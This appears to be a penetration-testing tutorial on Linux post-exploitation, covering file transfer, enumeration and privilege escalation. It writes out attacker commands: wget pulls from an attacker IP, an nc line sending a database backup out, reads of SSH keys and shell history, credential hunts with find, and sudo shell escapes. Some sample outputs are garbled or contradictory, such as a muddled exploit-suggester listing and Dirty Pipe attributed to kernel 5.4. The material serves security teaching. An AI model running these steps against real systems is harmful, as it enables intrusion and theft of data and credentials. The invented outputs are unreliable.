

What is Linux Post-Exploitation?
Simply put, it's the phase after gaining initial access to a system. The initial access might be through a vulnerable web application, a successful phishing attack that gave you a shell, or exploiting a weak password. Post-exploitation is everything that comes next.
The attacker now has a foothold, and they work to achieve several key objectives:
Once an attacker has a shell on a victim machine, they often need to move files. This is file transfer.
The challenge for the attacker is that they need to do this without triggering alarms. Network monitoring might flag large, unusual data transfers. So, they use a variety of techniques, from standard administrative tools to more creative methods.
The first method is using HTTP, or Hypertext Transfer Protocol. This is the same protocol your web browser uses to load web pages.
Why HTTP for file transfer?
Corporate networks are full of employees browsing websites, downloading files, and using web applications. Firewalls and network monitoring tools are configured to allow HTTP traffic because it's essential for business operations.
Here's how it works in a post-exploitation scenario:
python3 -m http.server <Port Number>If you run this in a directory, it will serve all the files in that directory over HTTP on the port you specify (e.g., 8000).
python2 -m SimpleHTTPServer <Port Number>Now, on the compromised victim machine, the attacker needs to act like a web browser and fetch that file. Two common tools are used: wget and curl.
wget http://<attacker_ip>:<port>/<path_to_file>. For example:
wget http://192.168.1.100:8000/linpeas.sh.curl -O http://<attacker_ip>:<port>/<path_to_file>. The O flag tells curl to save the file with the same name it has on the server.
The next method is SCP, which stands for Secure Copy. This tool relies on SSH, the Secure Shell protocol, which is the standard for secure remote administration on Linux.
If the attacker has managed to obtain valid SSH credentials for the victim machine, they can use SCP for file transfers. Because SCP traffic is encrypted and looks like normal administrative traffic, it's very difficult to detect.
The syntax is straightforward and similar to the standard cp (copy) command.
scp <path_to_local_file> <ssh_username>@<victim_ip>:<remote_directory>/<new_filename>Example:
scp ./linpeas.sh user@192.168.1.50:/tmp/linpeas.shThis copies the local linpeas.sh to the /tmp/ directory on the victim machine.
scp <ssh_username>@<victim_ip>:<remote_file_path> <local_destination>Example:
scp user@192.168.1.50:/home/user/secret_passwords.txt ./This copies the secret_passwords.txt file from the victim's home directory to the attacker's current local directory.
The key takeaway here is that if an attacker has SSH access, they have a built-in, secure, and often-unmonitored file transfer mechanism.
Netcat, often abbreviated as nc. It can read from and write to network connections, making it incredibly versatile for everything from port scanning to file transfers and even creating simple backdoor shells.
For file transfers, it's a simple client-server model. However, there's a critical caveat:
Note: Netcat (nc) does not use encryption. The data is sent in plain text over the network. On an untrusted network, like a corporate LAN with internal monitoring, these file transfers can be easily intercepted and read by anyone with access to the network traffic. Attackers often use it in a pinch, but they prefer encrypted methods if possible.
Here's how it works:
nc -l -v -p <port> > <received_file>Example (on the attacker's machine, receiving a file):
nc -lvp 4444 > stolen_data.zipnc <receiver_ip> <port> < <file_to_send>Example (on the victim's machine, sending a file):
nc 192.168.1.100 4444 < /var/www/database_backup.sqlFull Example:
The attacker (IP 192.168.1.100) wants to receive a file called database.sql from the victim. They run:
nc -lvp 4444 > stolen_data.zipNow their machine is listening on port 4444, waiting for an incoming connection. Any data sent to that port will be saved as stolen_data.zip.
On the victim machine, the attacker runs:
nc 192.168.1.100 4444 < /var/backups/database.sqlWorkflow:
Two-way transfer:
Netcat can also be used in reverse, the attacker could send a tool to the victim by reversing the roles. The victim listens, and the attacker sends.
The last file transfer method we'll look at is a bit of a trick: using Base64 Encoding.
This isn't a network protocol like the others.
Instead, it's a way to transform a file into a text format that can be copied and pasted.
Base64 is an encoding scheme that represents binary data (like an image, a zip file, or an executable) using only printable ASCII characters (letters, numbers, +, and /).
This is useful because sometimes you might be in a very restrictive shell where you can't use wget, curl, or nc. All you might have is the ability to type or paste text.
The process works like this:
base64 <filename>This command will output a long string of text to the terminal. For a large file, this string can be massive. The attacker can copy this entire string.
echo "<the_encoded_text>" | base64 -d > <output_filename>Example:
The victim has a file /etc/passwd that the attacker wants.
On victim machine:
base64 /etc/passwd
#output:
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgoThe attacker copies the Base64 output from their terminal.
On attacker machine (they create a new file locally):
echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgo=" | base64 -d > passwd.txtNow passwd.txt on the attacker's machine contains the contents of the victim's /etc/passwd file.
Advantages of Base64 transfer:
Disadvantages:
This method is slow and cumbersome for large files, but it's incredibly resilient because it only requires a terminal and the ability to paste text. It's a great example of how attackers adapt to their environment.
Now that the attacker has a foothold and can move tools, their next step is to figure out where they are. This is Local Enumeration. It's the process of exploring the compromised system to gather information.
The attacker is asking questions like: Who am I? What's on this box? What's connected to it? What valuable data is stored here? Is there a way to get more privileges?
Let's start with the manual approach using standard Linux commands to look for low-hanging fruit. We'll focus on two main categories: Credentials and Logs.
Credentials:
Command to check:
ls -la ~/.ssh/
cat ~/.ssh/id_rsaCommand to check:
cat /var/www/html/config.php
find /var/www -name "*.env" -o -name "*config*" 2>/dev/nullLogs:
Logs can reveal a lot about the system and user behavior.
Command to check:
ls -la /var/log/
cat /var/log/auth.log
cat /var/log/apache2/access.logExample:
192.168.1.100 - - [15/Mar/2024:10:15:23 +0000] "GET /admin/backup.sql HTTP/1.1" 200 54321
192.168.1.101 - - [15/Mar/2024:10:16:45 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 1234This tells the attacker that someone downloaded backup.sql from the admin directory. maybe that file is still there and accessible.
Let's expand our manual enumeration checklist.
Running Services
Knowing what's running on the system helps the attacker identify potential targets for privilege escalation or lateral movement.
The ps command:
ps stands for "process status." It shows information about running processes.
Common usage:
Example output:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.3 102456 7844 ? Ss Mar15 0:03 /sbin/init
mysql 1234 0.5 8.2 1245678 167892 ? Sl Mar15 12:34 /usr/sbin/mysqld
root 2345 0.0 0.1 56789 2345 ? Ss Mar15 0:00 /usr/sbin/sshd
john 3456 0.0 0.2 67890 3456 pts/0 Ss 14:30 0:00 -bash
www-data 4567 0.1 2.3 234567 45678 ? S 14:31 0:05 /usr/sbin/apache2What does this tell the attacker?
Configuration files in /etc/:
For each running service, there's likely a configuration file in /etc/. These files often contain credentials or other sensitive information.
Examples:
Quick example for ps + etc
Scenario: Web Server Compromise → Database Access → Full Data Exposure
You gain a low-privilege shell on a Linux web server (for example, through a vulnerable web app).
You check running services:
ps auxYou notice:
So this machine is likely both:
Now you start looking in /etc/.
Step 1: Check MySQL Configuration
You open:
/etc/mysql/my.cnfInside, you find something like:
[client]
user = appuser
password = SuperSecret123Now you have:
Step 2: Access the Database
You try:
mysql -u appuser -pAnd it works.
Inside the database, you find:
User tables - Password hashes - Email addresses - API keys - Possibly even admin credentials reused.
Now your access level just increased dramatically — without exploiting anything new.
Step 3: Credential Reuse
You try the same password (SuperSecret123) for:
If the organization reused credentials (very common), you might gain:
Environment Variables
Environment variables are dynamic values that affect how processes run. They're inherited by child processes and can contain sensitive information.
Viewing environment variables:
What might an attacker find?
Example:
$ env
USER=john
HOME=/home/john
PATH=/usr/local/bin:/usr/bin:/bin:/usr/games
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEYIf an attacker sees AWS credentials, they can use them to access the organization's cloud infrastructure.
Dotfiles (.bashrc, .bash_profile, etc.):
Dotfiles are hidden configuration files in a user's home directory. They're executed when a user logs in or starts a new shell. Developers and system administrators sometimes hardcode credentials in these files for convenience.
Important dotfiles:
Command to check:
cat ~/.bashrc
cat ~/.bash_history
cat ~/.ssh/configDotfile Scenario:
You gain access to a low-privileged user account on a Linux server, for example:
user: devYou start checking their home directory.
Step 1: Check .bash_history
You run:
cat ~/.bash_historyYou see:
ssh admin@10.10.10.5
mysql -u root -pProdDB@123
export AWS_SECRET_ACCESS_KEY=AKIAIOSFODNN7...
scp backup.sql root@10.10.10.20:/root/Now you’ve learned:
Without scanning anything, you just discovered:
That’s massive intelligence from one file.
Installed Software
Knowing what software is installed helps the attacker identify potential vulnerabilities. Outdated software with known exploits is a prime target.
Package managers differ by distribution:
Debian/Ubuntu (using dpkg):
Red Hat/CentOS/Fedora (using rpm):
Third-party software locations:
Not all software is installed via package managers. Attackers also look in:
Example:
$ ls -la /opt/
total 12
drwxr-xr-x 3 root root 4096 Mar 15 10:00 .
drwxr-xr-x 22 root root 4096 Mar 15 09:55 ..
drwxr-xr-x 5 root root 4096 Mar 15 10:00 teamviewerFinding TeamViewer installed might indicate a remote desktop solution that could be abused.
You check the version:
/opt/teamviewer/tv_bin/TeamViewer --versionIf it’s outdated and running as root, that could mean:
Manual enumeration is thorough, but it's slow. That's why attackers often turn to automation.
Automated enumeration is about using scripts to do the heavy lifting. These scripts are designed to run a huge number of checks quickly and present the findings in an easy-to-read format. They are a staple of any penetration tester's toolkit.
Why use them? Because they are fast, comprehensive, and less likely to miss something a human might overlook. They are the difference between spending an hour manually checking for SUID binaries and having a script list them for you in seconds.
Two of the most famous and powerful scripts are: LinEnum and LinPEAS.
LinEnum: This is a classic bash script. It's a workhorse that scans for a wide variety of privilege escalation opportunities. It checks for:
How to use LinEnum:
On the attacker machine, transfer it to the victim using one of the file transfer methods we discussed:
# On attacker
python3 -m http.server 8000
# On victim
wget http://192.168.1.100:8000/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.shsnippet output:
[+] Kernel Information
[-] Kernel version: 5.4.0-26-generic
[+] User Information
[-] Current user: www-data
[-] Current groups: www-data
[-] Sudo permissions: www-data can run /usr/bin/vim as root
[+] SUID Files
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/vim
/usr/lib/openssh/ssh-keysign
[+] World Writable Files
/etc/crontab
/var/www/html/config.phpLinPEAS (Linux Privilege Escalation Awesome Script): This is a more modern and comprehensive script. It's more colorful and noisy in its output, but it's incredibly thorough. It doesn't just list information; it actively flags things that are likely misconfigurations or vulnerabilities. It will highlight exposed credentials, weak permissions, and known vulnerable software versions in bright colors, making it very easy for an attacker to spot the best path to privilege escalation.
These tools are the first thing many attackers will run after gaining initial access. For a defender, knowing what these scripts look for is the best way to harden your systems against them.
Download:
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
How to use LinPEAS:
Similar to LinEnum:
# On attacker
python3 -m http.server 8000
# On victim
wget http://192.168.1.100:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.shoutput snippet:
════════════════════════════════════════════════════════════════╗
║ ■════════════════════════════════════════════════════════════■ ║
║ ║ ║ ║
║ ║ Linux Privilege Escalation Awesome Script ║ ║
║ ║ ║ ║
║ ■════════════════════════════════════════════════════════════■ ║
╚════════════════════════════════════════════════════════════════╝
[RED] [CVE-2021-3156] sudo Baron Samedit
[YELLOW] Sudo version 1.8.31 - Vulnerable
[RED] /etc/shadow is readable by user www-data!
[YELLOW] /etc/crontab is writable by user www-data
[GREEN] /usr/bin/vim has SUID bit set
[GREEN] User www-data can run sudo /usr/bin/vimTargeted Scan Options: Use o to Scan Only Specific Categories
This is the most powerful way to reduce output. You can combine categories with commas:
# Scan only system information and users
./linpeas.sh -o system_information,users_info
# Scan only SUID/SGID binaries and interesting files
./linpeas.sh -o suid,interesting_files
# Scan only sudo privileges and cron jobs
./linpeas.sh -o sudo,cron_jobsAvailable categories (not exhaustive, but common ones):
| Category | What It Finds |
|---|---|
| system_information | OS, kernel, environment variables |
| users_info | Users, groups, sudoers |
| suid | SUID/SGID binaries (critical for privesc) |
| sudo | Sudo permissions and misconfigurations |
| cron_jobs | Scheduled tasks running as root |
| interesting_files | Writable files, sensitive file permissions |
| network_info | Open ports, connections, hosts |
| processes | Running processes (can be noisy) |
| services | Running services and their permissions |
| containers | Docker/LXC container detection |
The attacker has enumerated the system. They know what's running, what's installed, and what credentials they might have found. But they are likely still a low-privileged user. Their next major goal is Privilege Escalation.
Privilege escalation is the process of gaining higher levels of access or permissions beyond what is typically granted. In most cases, this means going from a standard user to the root user or administrator.
There are five common techniques for privilege escalation on Linux, which are:
Our first privilege escalation technique is exploiting the Linux Kernel itself.
A Linux kernel exploit involves leveraging vulnerabilities in the core of the Linux operating system. The kernel is the heart of the OS, managing the system's resources and acting as a bridge between the hardware and all software. A vulnerability here is a fundamental flaw in how the OS works.
Objective: The goal of exploiting a kernel vulnerability is to achieve deep, system-level control to become root. Because the kernel runs with the highest privileges, successfully exploiting it almost always results in full root access.
Workflow (High-Level): The process for an attacker is:
However, kernel exploits are dangerous. A poorly written exploit or one that doesn't work perfectly can easily crash the entire system (a kernel panic), which would alert the victim and cause a denial of service. So, while effective, they are often a last option.
Let's look at the practical commands and methods an attacker would use.
Step 1: Check the kernel version
The first and most important command:
cat /proc/versionWhat is /proc/version?
/proc/version specifically contains information about the kernel version and the compiler used to build it.
Example output:
Linux version 5.4.0-26-generic (buildd@lgw01-amd64-039) (gcc version 9.3.0 (Ubuntu 9.3.0-10ubuntu2)) #30-Ubuntu SMP Mon Apr 20 16:58:30 UTC 2020Let's break this down:
Alternative commands:
uname -a
uname -r # Just the kernel release numberuname stands for "Unix name" and prints system information. The -a flag gives all information, while -r gives just the kernel release.
Step 2: Check system architecture
archOr:
uname -mWhy architecture matters?
Exploits are architecture-specific. An exploit written for x86_64 (64-bit Intel/AMD) won't work on ARM, and vice versa. The exploit needs to match the target's CPU architecture.
Possible outputs:
Step 3: Check if the kernel is vulnerable
Now the attacker needs to determine if this specific kernel version has known vulnerabilities. There are three primary methods:
Method A: Using search engines
This is the simplest approach. The attacker types into Google:
Search engines will return results from:
Method B: Using searchsploit
Searchsploit is a command-line tool that comes with Kali Linux. It's an offline copy of the Exploit-DB database.
Usage:
searchsploit linux kernel 5.4This searches for all exploits related to Linux kernel version 5.4.
Example output:
------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------- ---------------------------------
Linux Kernel 5.4 - 'io_uring' Local Privilege Escalation | linux/local/48537.c
Linux Kernel 5.4 - 'bpf' Local Privilege Escalation | linux/local/48637.c
Linux Kernel 5.4.x - 'Dirty Pipe' Local Privilege Escalation | linux/local/50808.c
------------------------------------------------------------------- ---------------------------------The attacker can then view a specific exploit:
searchsploit -x linux/local/50808.cThis shows the exploit code and instructions.
Method C: Using automatic scripts
This is the most efficient method. Tools like linux-exploit-suggester.sh are designed specifically to automate this process.
linux-exploit-suggester.sh:
This script checks the kernel version and other system information, then outputs a list of potential exploits that might work.
Usage:
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.shExample output:
[+] Kernel version: 5.4.0-26-generic
[+] Architecture: x86_64
[+] Distribution: Ubuntu 20.04
[+] Suggested exploits:
CVE-2022-0847 (DirtyPipe) - Kernel 5.8 <= 5.16.11, 5.4.0-26 is NOT vulnerable? Check: 5.4.0-26 is < 5.8? Actually 5.4 < 5.8, so maybe...
CVE-2021-3156 (Baron Samedit) - Sudo vulnerability, not kernel
CVE-2016-5195 (DirtyCow) - Kernel 2.6.22 < 4.8.3 - VULNERABLELinPEAS integration:
LinPEAS also includes kernel exploit suggestions as part of its comprehensive scan. When you run LinPEAS, it will check the kernel version and highlight potential vulnerabilities in red.
sudo allows administrators to give users specific permissions. For example, they might allow the webadmin user to restart the web server with sudo systemctl restart apache2. This is done by editing the /etc/sudoers file.
Just like the kernel, specific versions of the sudo utility can have vulnerabilities. This technique involves identifying and exploiting these flaws.
Objective: The goal is to leverage a vulnerability in the sudo binary itself to execute commands with elevated privileges, bypassing the normal security restrictions.
Methods:
sudo --version or sudo -VExample output:
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31The key information here is "Sudo version 1.8.31."
This technique is not about exploiting a bug in the sudo code (We don't care about the Virsion), but about exploiting a misconfiguration in how sudo is set up by the system administrator.
Objective: The attacker's goal is to find misconfigurations in these permissions that allow them to escalate their privileges.
Methods (Common Misconfigurations):
Method 1: Leveraging wildcards in command arguments
Wildcards are characters like * (matches anything) that the shell expands before executing a command. If sudo rules use wildcards carelessly, they can be exploited.
Example misconfiguration:
In /etc/sudoers, the administrator writes:
john ALL=(root) /usr/bin/vim /var/www/html/*They intend to allow user john to edit files with vim as root. But only on files inside /var/www/html/.
The exploitation:
John can run:
sudo vim /var/www/html/../../etc/shadowWhen the command is executed, the wildcard * expands, and vim tries to open the file. The path traversal (../../) takes vim out of the intended directory and into /etc/shadow, which John can now edit as root.
By modifying /etc/shadow, John can change the root password or create a new root user.
Method 2: Exploiting vulnerabilities in specific binaries allowed by sudo
Sometimes, system administrators need to let regular users run specific programs as root.
For example, they might let you run sudo vim to edit system configuration files.
The security flaw is that many programs have features that let you escape to a shell (a command prompt). If you can get a shell as root, you have full system access.
Example - Text Editors (vim/vi/nano)
Normal use: You run sudo vim /etc/config to edit a system file
Exploitation:
sudo vim
:!shThe key insight:
If a user can run ANY command with sudo that has the ability to spawn a shell or execute other commands, they can effectively run ANY command as root.
Method 3: Manipulating environment variables
The Basic Idea
Programs use environment variables to decide:
Some sudo configurations can be tricked by manipulating environment variables like PATH or LD_PRELOAD to make the program run a malicious version of a library or executable instead of the intended one, all with root privileges.
The first and most important command for exploring sudo privileges is sudo -l.
This command lists the sudo privileges for the current user. It shows what commands the user is allowed to run, and as which user.
In the example on the slide. When a user Skidz runs sudo -l, they see the following output:
Matching Defaults entries for skidz on skidzmachine:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User skidz may run the following commands on skidzmachine:
(ALL : ALL) ALLThis configuration, (ALL : ALL) ALL, effectively gives Skidz full root access via sudo. They can simply type sudo su - and become root.
If an attacker compromises the skidz account, privilege escalation is trivial.
Next, we look at a core feature of Linux file permissions: SUID and SGID.
Definition: These are special permission bits that can be set on executable files.
Objective: The attacker's goal is to find files with the SUID or SGID bit set that they can exploit to gain elevated privileges. If they can find a misconfigured SUID binary, running it might give them a root shell.
Methods:
So, how does an attacker find these misconfigured files?
Enumeration:
find / -perm -u=s -type f 2>/dev/nullfind / -perm -g=s -type f 2>/dev/nullExploitation:
Once a list of SUID binaries is obtained, the attacker needs to analyze them.
Our final technique involves abusing scheduled tasks, known as Cron Jobs.
Definition: Cron is a time-based job scheduler in Linux. It allows users and the system to schedule commands or scripts to run periodically (e.g., every minute, every day at 2 AM, on reboot). These are called cron jobs. System administrators use them for tasks like backing up data, rotating logs, or running security scans.
Objective: The attacker's goal is to identify cron jobs that are configured to run as root but have a flaw that can be exploited. If they can manipulate such a job, they can get it to execute their own malicious code with root privileges.
Methods:
An attacker with a low-privileged shell will try to read these files. They are looking for scripts that are executed by root but that they might be able to modify.
However, they can see the processes that are running.
pspy is a tool that monitors process creation without needing root permissions. It essentially watches the system for new processes in real-time.
By running pspy on a compromised machine, an attacker can observe a cron job execute every minute or so. They can see the exact command that was run. This gives them the information they need, even if they couldn't read the crontab file directly.
The classic example is a backup script run by root that writes to a directory or file that the low-privileged user has write access to. The user might be able to replace the backup script with a malicious one, or create a symbolic link to a sensitive file, and wait for the cron job to run as root.
Complete enumeration checklist:
System Information:
uname -a # Kernel version and system info
cat /etc/os-release # Distribution info
hostname # System hostname
id # Current user and groups
whoami # Current usernameUser Information:
cat /etc/passwd # List all users
cat /etc/group # List all groups
who # Who is logged in
last # Login history
sudo -l # Sudo permissionsNetwork Information:
ifconfig or ip a # Network interfaces
netstat -tulpn # Listening ports
route or ip r # Routing table
cat /etc/hosts # Local hostname resolution
arp -a # ARP cache (other machines on LAN)File System:
find / -type f -name "*.conf" 2>/dev/null # Config files
find / -type f -name "*.log" 2>/dev/null # Log files
find / -type f -perm -4000 2>/dev/null # SUID binaries
df -h # Mounted filesystems
mount # Mount detailsProcesses and Services:
ps aux
top -n 1
systemctl list-units --type=service --all # Systemd servicesSensitive Files:
find / -type f -name "*password*" 2>/dev/null
find / -type f -name "*.key" 2>/dev/null
find / -type f -name ".env" 2>/dev/null
find / -type f -name "wp-config.php" 2>/dev/null